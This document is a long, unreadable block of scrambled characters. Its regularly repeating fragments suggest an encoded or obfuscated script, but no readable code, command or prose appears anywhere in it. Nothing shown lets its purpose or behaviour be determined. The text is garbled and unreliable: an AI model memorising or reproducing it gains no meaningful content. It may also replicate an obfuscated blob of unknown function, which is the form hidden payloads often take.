GQPDXZTSXXWEMWM QN????GPA@G[AG@P?H??H?H?H?HVTAV]a]GZBTWYPYA[E WAjN?uFPG\TY\OPTQTEAPG??Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN??H?GPA@G[STYFP?H?S@[VA\Z[SSEC_Z\ GF\^S?N?AGLN?\SOXPQS_WCAVOXRB GFWPOXCGPA@G[????\SRPAjAGT[F\P[AWW]YL^QYEQ[YN?GPA@G[???H???EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMIIWW]YL^QYEQ[YEY]B_VYR[LM	N?GPA@G[?H?\SCOQ [GQ\DVjWVOW@EY]B_VYR[LMN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFWW]YL^QYEQ[Y?GPA@G[?H?beeZFAa\AYPP[TWYPEGZZSAPGX????GBWDYWDCQ YZTELVFXL  \\CB??\SPXEALGBWDYWDCQ YZN?\SRPAjAGT[F\P[A\BjCDOETLDWORN??Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YWW]YL^QYEQ[Y?FPAjAGT[F\P[AOLX^FPPZQAMTTM?H?FPAjAGT[F\P[A\BjCDOETLDWOR  ?GPA@G[???H??FQ\M\DF@Y?SZGPTV]GBWDYWDCQ YZTFFRPVR ODMMEVN????????\SOM_Z\GCGT[]Y[RFRPVR ODMMEVN?VZ[A\[@P?H??^EQMZV_\TDBA?PPRQCFXV]\MW_FRPVR ODMMEV\BjCDOETLDWOR??\SuWW]YL^QYEQ[YPPRQCFXV]\MW_uWW]YL^QYEQ[YPPRQCFXV]\MW_N?PPRQCFXV]\MW_[@YY???HPYFP\Su\RGWQZ[WSVFPPRQCFXV]\MW_N????j[M^MFYLR_STTQPPRQCFXV]\MW_AG@P????H?\SPPRQCFXV]\MW_uWW]YL^QYEQ[YPPRQCFXV]\MW_IIu\RGWQZ[WSVFPPRQCFXV]\MW_N?PPRQCFXV]\MW_[@YY?H?\SPPRQCFXV]\MW_N????OS][L W\OWFPPRQCFXV]\MW_\^F] R@M @LM\YDVL???VLBGGPZTCQT ASXDZZS^@LTP^ Z[BEY]B_VYR[LM?L]C_@j [A_QWDDMW\[@ZTOS][L W\OWFVLBGGPZTCQT \BjCDOETLDWOR?\SL]C_@j [L]C_@j [\RGWQZ[WSVFVLBGGPZTCQT N???^EQMZV_\TDBAOS][L W\OWF?H?H???\S^EQMZV_\TDBAN?G F[ZVAXBC_B DMOLX^FPPZQA\^F] R@M @LM\YDVLeta}|{szjs|yp{txp?VjLjGLZ@POFRPVR ODMMEVWW]YL^QYEQ[YG F[ZVAXBC_B DM?\SuWW]YL^QYEQ[YVjLjGLZ@PON?j[M^MFYLR_STTQVjLjGLZ@POAG@P?H?OS][L W\OWFVjLjGLZ@PO\^F] R@M @LM\YDVL?VLBGGPZTCQT ASXDZZS^@LTP^ Z[BEY]B_VYR[LM?L]C_@j [A_QWDDMW\[@ZTOS][L W\OWFVLBGGPZTCQT OLX^FPPZQA???\SL]C_@j [L]C_@j [\BjCDOETLDWORVLBGGPZTCQT N?^EQMZV_\TDBAOS][L W\OWF??WTFP[TXPG F[ZVAXBC_B DM\^F] R@M @LM\YDVL???]XBT_ZE\ECADFRPVR ODMMEVWTFP[TXP?H?H?\S^EQMZV_\TDBAN?VZ[A\[@P?H?P_Y^QVA^Y^EQMZV_\TDBA?DDAPGjYE_B@SFOFC\VP^EQMZV_\TDBAMMW???FQ\M\DF@Y?H????\SFQ\M\DF@YN?FPAjAGT[F\P[A\RGWQZ[WSVFMSSMSW?HPYFPN?FPAjAGT[F\P[AWW]YL^QYEQ[Y  ?H??HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[]XBT_ZE\ECADFRPVR ODMMEVWTFP[TXP?N?AGLN????\WW ATDC P[WFRPVR ODMMEVOLX^FPPZQA?\SuWW]YL^QYEQ[Y\WW ATDC P[WN?\WW ATDC P[WWW]YL^QYEQ[YFRPVR ODMMEV\RGWQZ[WSVF ?\SuWW]YL^QYEQ[Y\WW ATDC P[WN?GPA@G[?H?H???\XFRSE]u\BjCDOETLDWOR \WW ATDC P[W?\S\XFRSE]N?GPA@G[?H?EWGjPSOST?EGPS\M???\SWW]YL^QYEQ[YOLX^FPPZQA\XFRSE]C_ FX[SENYC]WS\M[ ILMjBYjOS@jYC]WS\M[k ??EWGjPSOSTC_ FX[SEnh?H?\SOLX^FPPZQA\BjCDOETLDWOR\XFRSE]C_ FX[SEN?EGPS\MC_ FX[SEnh?H?\SEWGjPSOSTIIEGPS\MII\BjCDOETLDWOROLX^FPPZQAEGPS\MN?GPA@G[??H???BEQWryzwtyfn\BjCDOETLDWORh?\SOLX^FPPZQABEQWII\RGWQZ[WSVFBEQW\RGWQZ[WSVFN?GPA@G[?H?\SWW]YL^QYEQ[Y\RGWQZ[WSVFEWGjPSOSTN?Z^MWjQGV^@FQTLY@OLX^FPPZQAWW]YL^QYEQ[Y?GPA@G[????H?ZADCLR^D[C@UEWGjPSOST\RGWQZ[WSVF EGPS\MOLX^FPPZQA?BEQWD@PGL\BjCDOETLDWOR?SAGXTZ_FBEQWRPAjCTGfWW]YL^QYEQ[YZADCLR^D[C@WW]YL^QYEQ[Y\BjCDOETLDWOR\RGWQZ[WSVF?\SSAGXTZ_F[@YYN?BEQWD@PGL\RGWQZ[WSVF?GPA@G[??H?QTWCGE[FACXjTFTAVD@TSAGXTZ_F?\S\RGWQZ[WSVFQTWCGE[FAN????BEQWD@PGL\BjCDOETLDWOR?GPA@G[?H?\SOLX^FPPZQAWTFP[TXPQTWCGE[FAAG@PN?BEQWD@PGL\RGWQZ[WSVF?GPA@G[?H??QTWCGE[FAnhWTFP[TXP??QTWCGE[FA\RGWQZ[WSVFQTWCGE[FA?AQ_O\XPLR_WW]YL^QYEQ[YQTWCGE[FA?LV^jTGjDBT OGBEQWD@PGLBEQWEGPETGP`\RGWQZ[WSVF ZADCLR^D[C@\BjCDOETLDWOR\BjCDOETLDWORAQ_O\XPLR_????\SLV^jTGjDBT OGSTYFPN????Z^MWjQGV^@FQTLY@OLX^FPPZQA\BjCDOETLDWOR?BEQWD@PGLOLX^FPPZQA???GPA@G[?H?BEQWD@PGLWW]YL^QYEQ[Y?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?\SWW]YL^QYEQ[YryzwtyfnOLX^FPPZQAhN?uryzwtyfnOLX^FPPZQAhD@PGLOLX^FPPZQA?H?HVTAV]pMVPEA\Z[YA[E WAjN???Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?\SOLX^FPPZQAryzwtyfn\BjCDOETLDWORhN?uryzwtyfnWW]YL^QYEQ[YhD@PGLWW]YL^QYEQ[Y?H?H???H?S@[VA\Z[_OP_ZC\jL?N?FATA\V\XFRSE][@YY?\S\XFRSE][@YYGPA@G[\XFRSE]?\S\BjCDOETLDWOR\BjCDOETLDWORN?\XFRSE]FSPSELAIVPFWPYXCCFSPSELAk?GPA@G[\XFRSE]MZR Q__e}ej|{ajxtme}ej|{ajxtmQ\G\OCXCMZR Q__??H?\XFRSE]uRO\[SYTAP\BjCDOETLDWOR\BjCDOETLDWOR ??\S\RGWQZ[WSVF\XFRSE]II\BjCDOETLDWOR\XFRSE]	\XFRSE]?GPA@G[\XFRSE]?H?S@[VA\Z[\B[^W_ZWY EQ?N??AGLN?\SQPS\[PQWW]YL^QYEQ[YGPA@G[?QCDDTE_B_COLOLX^FPPZQA GFWPOXCWW]YL^QYEQ[Y?DSRSES]GGZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y		OLX^FPPZQA?E[W^DA_QZFPEEWPPYMG@]twfeta}\RGWQZ[WSVFk?DV_[OROF^TX OW\BjCDOETLDWOR\RGWQZ[WSVF
VZ[AP[Aj@GY?\SDV_[OROF^TX OWN?DV_[OROF^TX OW\BjCDOETLDWOROLX^FPPZQA
RPAjF\APj@GY\RGWQZ[WSVF?H?ETGTYYPY\OPVZXXT[QSZGxLfdyB\[QZBS@[VA\Z[F??POQ\PCLL\RGWQZ[WSVF\BjCDOETLDWOROLX^FPPZQADV_[OROF^TX OWDSRSES]GG?\S\RGWQZ[WSVFPOQ\PCLLWW]YL^QYEQ[YPOQ\PCLL\BjCDOETLDWORWW]YL^QYEQ[Y POQ\PCLL?TELSTAE_V\RGWQZ[WSVF\RGWQZ[WSVF
]ZXPj@GYOLX^FPPZQABj[MSRFPW[X^j WW]YL^QYEQ[Y?\STELSTAE_VTELSTAE_V\BjCDOETLDWORBROVEFCLP^ZDWS\RGWQZ[WSVFBj[MSRFPW[X^j \BjCDOETLDWOR?\S\RGWQZ[WSVFTELSTAE_VWW]YL^QYEQ[YTELSTAE_V\BjCDOETLDWOR\RGWQZ[WSVF \BjCDOETLDWORWW]YL^QYEQ[YTELSTAE_V?R[__LOD\Z\FFPAryzwtyfn\BjCDOETLDWORhWW]YL^QYEQ[Yryzwtyfn\RGWQZ[WSVFh
ryzwtyfn\BjCDOETLDWORh?\SWW]YL^QYEQ[YR[__LOD\Z	N?R[__LOD\ZZQMT]OE]O[\j \BjCDOETLDWOR?H?\S\RGWQZ[WSVFR[__LOD\Z	kN?R[__LOD\Z_OP_ZC\jL????H?\E]jMSCLC Oj?\S\FFPAryzwtyfnWW]YL^QYEQ[Yh\RGWQZ[WSVFryzwtyfnWW]YL^QYEQ[Yh\BjCDOETLDWORryzwtyfn\RGWQZ[WSVFhN?\E]jMSCLC Ojryzwtyfn\BjCDOETLDWORh?HPYFPN?\E]jMSCLC OjZQMT]OE]O[\j \BjCDOETLDWOR???H?ALEPXTAV]\[R??\SOLX^FPPZQA\E]jMSCLC OjN?_OjYYOOALOTGQB[^XCWW]YL^QYEQ[Y\E]jMSCLC Oj\RGWQZ[WSVF ?H?EMTQ_FLDT[ZRWW]YL^QYEQ[YWW]YL^QYEQ[Y
FAG\[R\BjCDOETLDWOR]ZXPj@GYe}ej`gyjeta}?\SEMTQ_FLDT[ZREMTQ_FLDT[ZR?\S\BjCDOETLDWOREMTQ_FLDT[ZREMTQ_FLDT[ZR?D\EV[EGGFTGGTL?\RGWQZ[WSVF[[PX[DLZBLP^TRB_??\RGWQZ[WSVFD]Rj@PDECCLWS]????WW]YL^QYEQ[Y EMTQ_FLDT[ZR???@^X[@B_CSFTGGTL?\RGWQZ[WSVF POQ\PCLL?WW]YL^QYEQ[Y QCDDTE_B_COL???WW]YL^QYEQ[Y TELSTAE_V??WW]YL^QYEQ[Y ZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF  k?\RGWQZ[WSVF \E]jMSCLC Oj??OQ [BAjG]MZ]W\@C_BRB@GO[^jjM\RGWQZ[WSVF ?\S\BjCDOETLDWOR OQ [BAjG]MZIIOLX^FPPZQA OQ [BAjG]MZN??GPA@G[?H?PCQMQZ^O_MQS\RGWQZ[WSVFOOFDOBWF]]LMPP\j\RGWQZ[WSVF@^X[@B_CSFOQ [BAjG]MZ?_FXLCBFRSGGOLX^FPPZQAWW]YL^QYEQ[YOLX^FPPZQAD\EV[EGGF\RGWQZ[WSVF?_FXLCBFRSGGWW]YL^QYEQ[YPCQMQZ^O_MQSWW]YL^QYEQ[Y ?_OjYYOOALOTGQB[^XCOLX^FPPZQA_FXLCBFRSGG\BjCDOETLDWOR ?_OjYYOOALOTGQB[^XC\RGWQZ[WSVF\RGWQZ[WSVFFAG\[RR[__LOD\ZFAG\[R\E]jMSCLC OjOQ [BAjG]MZIWW]YL^QYEQ[YBROVEFCLP^ZDWSWW]YL^QYEQ[Y ?QVWQ@P_W]SVXB\RGWQZ[WSVF\RGWQZ[WSVF
]ZXPj@GY\BjCDOETLDWORBj[MSRFPW[X^j \RGWQZ[WSVF?\SQVWQ@P_W]SVXBQVWQ@P_W]SVXBWW]YL^QYEQ[YBROVEFCLP^ZDWSOLX^FPPZQABj[MSRFPW[X^j OLX^FPPZQA?\SWW]YL^QYEQ[YQVWQ@P_W]SVXB\BjCDOETLDWORQVWQ@P_W]SVXB\BjCDOETLDWORWW]YL^QYEQ[Y\RGWQZ[WSVF\RGWQZ[WSVFQVWQ@P_W]SVXB?_OjYYOOALOTGQB[^XCOLX^FPPZQAQVWQ@P_W]SVXB\RGWQZ[WSVF ???\SWW]YL^QYEQ[Y R[__LOD\Z	MMQN?GPA@G[?H?_OjYYOOALOTGQB[^XCOLX^FPPZQAR[__LOD\ZWW]YL^QYEQ[Y ?\STR]CL\ [F[QRGPA@G[??P_^@POTVP[GSBXAASZLDCW[WR\?\Su\RGWQZ[WSVFP_^@POTVP[GSj[M^MFYLR_STTQP_^@POTVP[GSAG@P?\Su\RGWQZ[WSVFP_^@POTVP[GSIIuWW]YL^QYEQ[YP_^@POTVP[GSGPA@G[?VGVT]DPVP_^@POTVP[GSE[W^DA_Q\RGWQZ[WSVF[[^ZFDXZY_I^^]QYCOZAQSM[[^ZFDXZY_k?AEZFX[[jSFXV_QMPE]jEPS???\BjCDOETLDWOR?TGGTLjjfy`rjjjjo|ej{txpjjjjbg|apj~pljjjjcpgf|z{jj???TGGTLQCDDTE_B_COLDSRSES]GGZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y  BRW^TOAOBRZT[TBSA????\SAEZFX[N?\S\[ARPAjZEA\Z[WW]YL^QYEQ[YZ^MWjQGV^@FQTLY@OLX^FPPZQA\RGWQZ[WSVF?GPA@G[????H?\SuWW]YL^QYEQ[YVGVT]DPVII\BjCDOETLDWOR_Bj\F\@\] _^_PFAG\[RuOLX^FPPZQA VGVT]DPV\RGWQZ[WSVFAEZFX[N?A_QWDDMW\[@ZTVGVT]DPVAEZFX[WW]YL^QYEQ[Y?V^]@[\jMVLRAQAVGVT]DPVB]OM@L]P@\S??DDAPGjYE_B@SFOFC\VPVGVT]DPVMPMWV??YTS^L]AS]jTVGVT]DPV?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[[jSFXV_QMPE]jEPS^PLQMOXX\F^_ ZZ[[AD_FXLPLA?N?jRXXM]RM]_ABZ[@YY??\SjRXXM]RM]_ABZ[@YYN?jRXXM]RM]_ABZ\BjCDOETLDWOR\RGWQZ[WSVF
RPAjAGT[F\P[ATFFGjR\  O\^FDSTYFP?\S\RGWQZ[WSVFjRXXM]RM]_ABZN??jRXXM]RM]_ABZT]\FS[jCQDGT^CM@\BjCDOETLDWOR STYFP?H?\SOLX^FPPZQAjRXXM]RM]_ABZN?jRXXM]RM]_ABZTGGTL?H?V]PV^EZ\[AEZF\A\CPQPS\[\APGPVZGQYTLPG??H?VC\G^YSRjC?\S\FFPAjRXXM]RM]_ABZn^PLh\BjCDOETLDWOR jRXXM]RM]_ABZn^PLhN?VC\G^YSRjCjRXXM]RM]_ABZn^PLhO MYEWM^G O@DCL\\FFO MYEWM^G?H?\S\BjCDOETLDWOR VC\G^YSRjC	N???VC\G^YSRjCZQMT]OE]O[\j ^PL?H???\S\BjCDOETLDWOR VC\G^YSRjC	M MQGPA@G[STYFP???AWX ALZ@YVE\RGWQZ[WSVFVC\G^YSRjCAG@P?\SAWX ALZ@YVEIIWW]YL^QYEQ[YAWX ALZ@YVE	MMSGPA@G[STYFP???\SWW]YL^QYEQ[YAWX ALZ@YVE\RGWQZ[WSVF STYFPGPA@G[STYFP?AWX ALZ@YVE\RGWQZ[WSVFQMOXX\F^_ ZZ[[AD_FXLPLAAWX ALZ@YVE?\SQPS\[PQ\RGWQZ[WSVFN??AGLN?uAZ^P[jRPAjTYYAWX ALZ@YVEaz~p{jetgfp?HVTAV]a]GZBTWYPYA[E WAjN?GPA@G[STYFP???HVTAV]pMVPEA\Z[YA[E WAjN?GPA@G[STYFP??H???HPYFP\SCOQ [GQ\DVjWVOW@AWX ALZ@YVEN?GPA@G[STYFP?H?GPA@G[AWX ALZ@YVE??H?S@[VA\Z[OYRXEQV@BB_ OTZ^A????N?AGLN?\SWW]YL^QYEQ[YOLX^FPPZQAGPA@G[?\SQPS\[PQ\RGWQZ[WSVFGPA@G[?^VLZ_WWjZLWTBOWDG\[EQCWYQO^?\S^VLZ_WWjZLWN?\B[^W_ZWY EQ?^VLZ_WWjZLWTBOWDG\[EQCWYQO^?H?WZRAAQVEFLLZQMT]OE]O[\j WW]YL^QYEQ[Y ?\S\BjCDOETLDWORWZRAAQVEFLLWZRAAQVEFLLOLX^FPPZQAiM????WC[^L SATP[V]\FFPAryzwtyfnOLX^FPPZQAh\BjCDOETLDWOR ryzwtyfn\BjCDOETLDWORhWW]YL^QYEQ[Yryzwtyfn\BjCDOETLDWORh
ryzwtyfnWW]YL^QYEQ[YhZQMT]OE]O[\j \BjCDOETLDWOR?\SWW]YL^QYEQ[YWC[^L SATP[V]	WC[^L SATP[V]_OP_ZC\jL?Z[jC@ jjDAVD\FFPAryzwtyfnWW]YL^QYEQ[YhWW]YL^QYEQ[YryzwtyfnOLX^FPPZQAhOLX^FPPZQAryzwtyfnWW]YL^QYEQ[Yh k
ryzwtyfn\RGWQZ[WSVFhZQMT]OE]O[\j OLX^FPPZQA?O@ELCCWOLX^FPPZQAWC[^L SATP[V]Z[jC@ jjDAVDWZRAAQVEFLLIOLX^FPPZQABROVEFCLP^ZDWS?\SZQMT]OE]O[\j WW]YL^QYEQ[YO@ELCCWN?\B[^W_ZWY EQ?^VLZ_WWjZLWTBOWDG\[EQCWYQO^?H?\STR]CL\ [F[QRGPA@G[?CSROQS@LQDMF@XQVCA@STATOGjMS\L[YGAOQLV@ATOGjMS\?LG]j]LVTLZGu\BjCDOETLDWORCSROQSWW]YL^QYEQ[Y?\SLG]j]LVTLZG^VLZ_WWjZLWRPAjAGT[F\P[AWW]YL^QYEQ[Y GPA@G[?j[SYDELQAE  _?[PFVA[jCOL ?@j@LRG\O]\P?Q_ZR^VCF DuOLX^FPPZQACSROQS\BjCDOETLDWOR???^VLZ_WWjZLWTBOWDG\[EQCWYQO^?\SQ_ZR^VCF D^VLZ_WWjZLWN?FPAjAGT[F\P[A\RGWQZ[WSVF M MQ?H??HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj???HVTAV]pMVPEA\Z[YA[E WAjN?FAGPFFAPFAGPQ@VA\Z[SZGbes@YYf\APpQ\A\[R????H?H????S@[VA\Z[[PFVA[jCOL ?N??AGLN?\SQPS\[PQOLX^FPPZQAGPA@G[?\SOLX^FPPZQA\RGWQZ[WSVFGPA@G[?PRY\SYLOOG\RGWQZ[WSVF\BjCDOETLDWOR
uOLX^FPPZQAOLX^FPPZQA STYFP?\SPRY\SYLOOGIIPRY\SYLOOGIIPRY\SYLOOGOLX^FPPZQAPRY\SYLOOG\BjCDOETLDWOR ?E[W^DA_QZFPEEWPPYMG@]twfeta}\BjCDOETLDWORk?CSROQS@LQDMF@XQVCA@ST?P_^@POTVP[GSBXAASZLDCW[WR\?TS MY[Tj^ZFPEEWPPYMG@]twfeta}\RGWQZ[WSVFOLX^FPPZQA?ZM@G\ ACSROQSTS MY[Tj^?AZLDDRL CSROQS\BjCDOETLDWORTS MY[Tj^DG _T@CVDe}ejxtzgjcpgf|z{ZDT  OAGDG _T@CVD?QCDDTE_B_COLWW]YL^QYEQ[Y GFWPOXC\BjCDOETLDWOR?DSRSES]GGZFPEEWPPYMG@]twfeta}OLX^FPPZQAWW]YL^QYEQ[Y?LGODEQ YW\[ARPAjZEA\Z[\RGWQZ[WSVF?\SLGODEQ YWWW]YL^QYEQ[YLGODEQ YW	MPPQMTTN?D_WOPDSY_[MjSFZM@G\ A[@YY?D_WOPDSY_[MjSFAZLDDRL [@YY???SZGPTV]TGGTLOLX^FPPZQAtwfeta}\RGWQZ[WSVF\RGWQZ[WSVFCSROQS\RGWQZ[WSVF TF@ZDEXDL^LN?MFZ[BF[\AXWF@ZDEXDL^LPRY\SYLOOG????V]DEYF_R]u\BjCDOETLDWORMFZ[BF[\AXWF
u\BjCDOETLDWORMFZ[BF[\AXWF?\SOLX^FPPZQAV]DEYF_R]WW]YL^QYEQ[YV]DEYF_R]TS MY[Tj^STYFPN?YVOS] BEM@^OLX^FPPZQA\RGWQZ[WSVFOLX^FPPZQATS MY[Tj^\BjCDOETLDWORi[V]DEYF_R]????\S\BjCDOETLDWORYVOS] BEM@^YVOS] BEM@^V]DEYF_R]FWDSWO@V[[ CFM_\MEMFZ[BF[\AXWFYVOS] BEM@^????H?xLfdyvapFTAATV]XP[AXPATQTAT??H?GPA@G[???H?MY RT]W^L\[jSFXV_QMPE]jEPS????WW]YL^QYEQ[Y?TGGTLjjfy`rjjjjo|ej{txpjjjj|{faj}tf}jjjjqtatjq|gjjjjvz{ap{ajq|gjwjjjjcpgf|z{jj?TGGTLQCDDTE_B_COLDSRSES]GGE[W^DA_Q\RGWQZ[WSVFZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y WW]YL^QYEQ[YQPS\[PQWW]YL^QYEQ[Y
bejvz{ap{ajq|g@LQDMF@XQVCA@STBRW^TOAOBRZT[TBSA??\SMY RT]W^L\N?PMEPVAPQWYZZXS\YAPG??\S\[ARPAjZEA\Z[OLX^FPPZQAZ^MWjQGV^@FQTLY@OLX^FPPZQA\RGWQZ[WSVF ?GPA@G[?H?\SuWW]YL^QYEQ[YP_^@POTVP[GSj[M^MFYLR_STTQP_^@POTVP[GSMMVAG@PQ^FTE@YGTWXAOAX]ZQ^FTE@YGTW?\ETODA^ERRGXSTYFP?\SuOLX^FPPZQAAZLDDRL IIWW]YL^QYEQ[Y_Bj\F\@\] _^_PFAG\[RuWW]YL^QYEQ[YAZLDDRL OLX^FPPZQAMY RT]W^L\N?A_QWDDMW\[@ZTAZLDDRL MY RT]W^L\\BjCDOETLDWOR????V^]@[\jMVLRAQAAZLDDRL B]OM@L]P@\S???DDAPGjYE_B@SFOFC\VPAZLDDRL ?YTS^L]AS]jTAZLDDRL ?\ETODA^ERRGXAG@P?H?Q\FF_DBW?SZGPTV]TGGTLOLX^FPPZQAtwfeta}WW]YL^QYEQ[Y WW]YL^QYEQ[YCSROQSOLX^FPPZQATFZSC PZWMO[ZGSN????SMV@DYM@ZuWW]YL^QYEQ[YZSC PZWMO[ZGSPRY\SYLOOG
uOLX^FPPZQAZSC PZWMO[ZGSPRY\SYLOOG?\S\BjCDOETLDWORSMV@DYM@ZOLX^FPPZQAOLX^FPPZQASMV@DYM@ZEES SVLFZOBN?VFF QMTTGYWW]YL^QYEQ[YEES SVLFZOBnh?\SVFF QMTTGYFAG\EZFVFF QMTTGY\BjCDOETLDWORSTYFPRXSSRTABRGAVFF QMTTGYN????Q\FF_DBWVFF QMTTGY?WGPT^?H?H?H??[QVAECDT@SFBPWW]YL^QYEQ[YQ\FF_DBW
\BjCDOETLDWOR\RGWQZ[WSVFQ\FF_DBWAG@P\BjCDOETLDWOR?\RGWQZ[WSVF TS MY[Tj^WW]YL^QYEQ[Y ?OLX^FPPZQA?OLX^FPPZQA?WW]YL^QYEQ[YWW]YL^QYEQ[YMY RT]W^L\OLX^FPPZQA???\SuOLX^FPPZQAZM@G\ AIIWW]YL^QYEQ[Y_Bj\F\@\] _^_PFAG\[Ru\BjCDOETLDWORZM@G\ A\BjCDOETLDWOR[QVAECDT@SFBPN??A_QWDDMW\[@ZTZM@G\ A[QVAECDT@SFBPOLX^FPPZQA?V^]@[\jMVLRAQAZM@G\ AB]OM@L]P@\S????DDAPGjYE_B@SFOFC\VPZM@G\ A?YTS^L]AS]jTZM@G\ A?\ETODA^ERRGXAG@P?H?ZZT]EGQRR]A\QAG@P?@VPVGACE_Bj\F\@\] _^_PFAG\[Ru\BjCDOETLDWORAZLDDRL ?\SuWW]YL^QYEQ[YAZLDDRL II@VPVGACEMY RT]W^L\N?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\RGWQZ[WSVF?D_WOPDSY_[MjSFAZLDDRL [@YY?ZZT]EGQRR]A\QSTYFP?H?@VPVGACE_Bj\F\@\] _^_PFAG\[Ru\BjCDOETLDWORZM@G\ A?\SuOLX^FPPZQAZM@G\ AII@VPVGACE[QVAECDT@SFBPN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOROLX^FPPZQA????D_WOPDSY_[MjSFZM@G\ A[@YY?ZZT]EGQRR]A\QSTYFPSSXQLRCASPTB_P]SSXQLRCA ?H?@[FPA@VPVGACE?\SZZT]EGQRR]A\QN?j TWGVDF@]\[ARPAjZEA\Z[\RGWQZ[WSVF ?@EQTAPjZEA\Z[\RGWQZ[WSVF j TWGVDF@]OLX^FPPZQA ?\Sj TWGVDF@]MMN?@EQTAPjZEA\Z[OLX^FPPZQAOLX^FPPZQA\BjCDOETLDWOR ?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y\RGWQZ[WSVF??H?GPA@G[???H?GCVLWOXEZBBTGGTLWW]YL^QYEQ[Ytwfeta}\BjCDOETLDWOROLX^FPPZQACSROQS\BjCDOETLDWOR?VLL^BBC^MVTGGTL???SZGPTV]GCVLWOXEZBBTFGE^Y^@VFN?LYL^[E^YZE\GE^Y^@VFPRY\SYLOOG?]P^\G[\XBY^X^A[Wu\RGWQZ[WSVFLYL^[E^YZE\
uOLX^FPPZQALYL^[E^YZE\?V@GGP[AuOLX^FPPZQALYL^[E^YZE\
u\BjCDOETLDWORLYL^[E^YZE\?\SWW]YL^QYEQ[YV@GGP[AN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\BjCDOETLDWOR???GPA@G[?H?\S\RGWQZ[WSVFV@GGP[ATS MY[Tj^STYFPN????\SV@GGP[A\RGWQZ[WSVFOLX^FPPZQAV@GGP[Ai[V@GGP[Ai[?CWMGT[YFSOLX^FPPZQA ZM@G\ Ae}ejpzy?\SFWDSWO@V[[ CFM_\MELYL^[E^YZE\V@GGP[ACWMGT[YFSN?\S]P^\G[\XBY^X^A[WV^]@[\jMVLRAQALYL^[E^YZE\]P^\G[\XBY^X^A[W?PYFPV^]@[\jMVLRAQALYL^[E^YZE\\BjCDOETLDWOR?DDAPGjYE_B@SFOFC\VPLYL^[E^YZE\?@EQTAPjZEA\Z[\BjCDOETLDWOR\RGWQZ[WSVF\RGWQZ[WSVF ?VLL^BBC^MVnhTGGTLLYL^[E^YZE\V@GGP[A?\S\[ARPAjZEA\Z[WW]YL^QYEQ[Y@EQTAPjZEA\Z[WW]YL^QYEQ[Y\BjCDOETLDWOR?\S\[ARPAjZEA\Z[OLX^FPPZQAuQPYPAPjZEA\Z[WW]YL^QYEQ[Y?HPYFPN?uTVD@\GP]PTGAWPTA???_R TVMVVOZ\[ARPAjZEA\Z[\RGWQZ[WSVFOZj QVFe}ej|{ajxtme}ej|{ajxtmAFEA^AMLAOZj QVF?@EQTAPjZEA\Z[WW]YL^QYEQ[Y_R TVMVVOZ\BjCDOETLDWOR?\S_R TVMVVOZN?@EQTAPjZEA\Z[\BjCDOETLDWOR\RGWQZ[WSVFOLX^FPPZQA?Z^MWjQGV^@FQTLY@\BjCDOETLDWOROLX^FPPZQA?WGPT^?H??H?H?H?\S\ETODA^ERRGX]ZZA jjCXETAAXN????Z^MWjQGV^@FQTLY@\BjCDOETLDWOROLX^FPPZQA ?D_WOPDSY_[MjSFZM@G\ A[@YY?D_WOPDSY_[MjSFAZLDDRL [@YY?SZGPTV]VLL^BBC^MVTFSPG]SLB@FWDSWO@V[[ CFM_\MESPG]SLB@nhSPG]SLB@nh?j TWGVDF@]\[ARPAjZEA\Z[\RGWQZ[WSVF?@EQTAPjZEA\Z[\RGWQZ[WSVF j TWGVDF@]WW]YL^QYEQ[Y???\Sj TWGVDF@]MMN?@EQTAPjZEA\Z[WW]YL^QYEQ[YWW]YL^QYEQ[Y\BjCDOETLDWOR?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y \RGWQZ[WSVF?H?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQA YA[E WAj??HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[YFGYE@FZS?N?GP_PVAQ\FVZ[[PVAPQFATV^SGTXP??AGLN?be}ZXPy\[^A]PXPF@EEZGA??\S\RGWQZ[WSVF\RGWQZ[WSVF GPA@G[?\SQPS\[PQWW]YL^QYEQ[YIIQPS\[PQOLX^FPPZQA N?\S\[AuRPAjZEA\Z[OLX^FPPZQA N?uQPYPAPjZEA\Z[OLX^FPPZQA ?u@EQTAPjZEA\Z[WW]YL^QYEQ[Y \RGWQZ[WSVF?H?QZX\[TAPZGV]PFAGTAZGSZGbeeZFAaPGXF????GPA@G[?H?SYWSTOX[\GZ\[AuRPAjZEA\Z[OLX^FPPZQA ?\SSYWSTOX[\GZGPA@G[?jXWEFVVD[QOLX^FPPZQA  \RGWQZ[WSVF 
